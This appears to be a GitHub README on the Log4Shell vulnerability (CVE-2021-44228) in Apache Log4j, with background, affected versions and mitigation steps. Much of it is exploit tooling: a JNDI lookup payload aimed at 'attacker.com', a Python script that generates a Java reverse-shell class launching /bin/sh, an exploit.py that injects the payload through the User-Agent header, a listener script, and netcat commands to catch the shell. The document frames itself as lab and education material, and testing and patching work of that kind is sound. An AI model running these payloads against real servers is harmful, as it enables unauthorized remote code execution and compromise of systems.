
Educational analysis of CVE-2021-44228 (Log4Shell) with PoC scripts, attack vector breakdown, and mitigation guidance for understanding and testing the critical RCE vulnerability in Apache Log4j.
Critical Impact (CVSS 10.0) | Discovered in 2021, this flaw in Apache Log4j allows remote code execution (RCE) and affects millions of systems globally. Even today, it remains a key reminder for cybersecurity!
CVE-2021-44228, known as Log4Shell, is a critical Remote Code Execution (RCE) vulnerability in the Apache Log4j 2 logging library. This flaw allows malicious attackers to execute arbitrary code on vulnerable servers simply by sending a specially crafted text string that the application logs.
Log4Shell is not alone; it led to CVE-2021-45046 (RCE/DoS), CVE-2021-45105 (DoS), and CVE-2021-4104 (RCE in Log4j 1.2).
The core of the problem is the unsafe handling of JNDI (Java Naming and Directory Interface) in Log4j, which resolves remote lookups without sanitization.
${jndi:ldap://attacker.com:1389/Exploit}
How it works:
${...} and triggers a JNDI lookup.Exploitable protocols: LDAP, RMI, DNS, IIOP, etc. This enables threats such as:
Infection Chain (Kill Chain):
| Feature | Detail |
|---|---|
| CVSS v3.1 Score | 10.0 (CRITICAL) 🔥 - Highest possible severity. |
| Affected Versions | Log4j 2.0-beta9 to 2.14.1 (includes derivatives up to 2.16.0 for sub-CVEs). |
| Root Cause | JNDI message substitution without validation; remote lookups enabled. |
| Vectors | Remote, unauthenticated; affects Java 8+ in web/cloud apps. |
| Impacted Products | Apache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter, and more. |
| Exploitation | Easy: public PoCs on GitHub; no privileges needed. |
Impact Statistics:
90% of cloud environments initially exposed.
⚠️ Warning: This content is for educational purposes and authorized testing only. Do not use on systems without explicit permission. Exploiting vulnerabilities without authorization is illegal (e.g., violates laws like CFAA in the U.S.). Always perform ethical pentesting.
Based on public repositories like kozmer/log4j-shell-poc, here is a simplified overview of a PoC in controlled environments (e.g., local Docker/VM).
git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln/usr/bin/jdk1.8.0_202).#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler
CUR_FOLDER = Path(__file__).parent.resolve()
def generate_payload(userip: str, lport: int) -> None:
program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
public Exploit() throws Exception {{
String host="{userip}";
int port={lport};
String cmd="/bin/sh";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
// ... (simplified reverse shell code)
}}
}}
"""
p = CUR_FOLDER / "Exploit.java"
try:
p.write_text(program)
subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
print(Fore.GREEN + '[+] Exploit class generated successfully')
except Exception as e:
print(Fore.RED + f'[-] Error: {e}')
# ... (functions for LDAP server and web server similar to original)
def main():
init(autoreset=True)
print(Fore.BLUE + "[!] Educational PoC for CVE-2021-44228 - Use only in labs!")
# Arguments: --userip localhost --webport 8000 --lport 9001
# Starts LDAP, web server and generates payload
if __name__ == "__main__":
main()
python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001nc -lvnp 9001 - Monitor the reverse shell.${jndi:ldap://127.0.0.1:1389/a} in a login/search field.Simple Python PoC (Listener + Exploit): For quick demos, use this duo of scripts (run listener first).
listener.py:
import socket
import threading
def start_listener(ip, port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((ip, port))
server.listen(1)
print(f"[*] Listener on {ip}:{port}...")
conn, addr = server.accept()
print(f"[+] Connection from {addr}")
data = conn.recv(4096)
print(data.decode('utf-8', errors='ignore'))
conn.close()
if __name__ == "__main__":
threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
input("Press Enter to stop...\n") # Keeps alive
exploit.py:
import requests
import argparse
def send_exploit(target, lhost, lport):
payload = f"${{jndi:ldap://{lhost}:{lport}/Exploit}}"
headers = {'User-Agent': payload}
try:
r = requests.get(target, headers=headers, timeout=10)
print(f"[+] Sent to {target} | Status: {r.status_code}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", required=True)
parser.add_argument("-l", "--lhost", required=True)
parser.add_argument("-p", "--lport", type=int, default=1389)
args = parser.parse_args()
send_exploit(args.target, args.lhost, args.lport)
Execution: python3 listener.py & python3 exploit.py -t "http://target:8080" -l "127.0.0.1"
Notes: Requires Marshalsec for simulated LDAP. Test only in isolated labs.
Act now! Log4Shell is preventable with updates and configurations.
mvn dependency:tree or Snyk.-Dlog4j2.formatMsgNoLookups=trueLOG4J_FORMAT_MSG_NO_LOOKUPS=truelog4j2.xml, add <Configuration xmlns:log4j="..."> <property name="log4j2.formatMsgNoLookups" value="true"/></Configuration>zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
${jndi:*} payloads (e.g., rules in ModSecurity or Cloudflare).For Derived CVEs:
This README.md is for educational purposes and cybersecurity awareness. It does not promote illegal activities. If you are a security professional, evaluate your environment with tools like OWASP Dependency-Check. Keep your systems updated for a safer world! 🔒
Last updated: Based on data up to 2023. Check official sources for updates.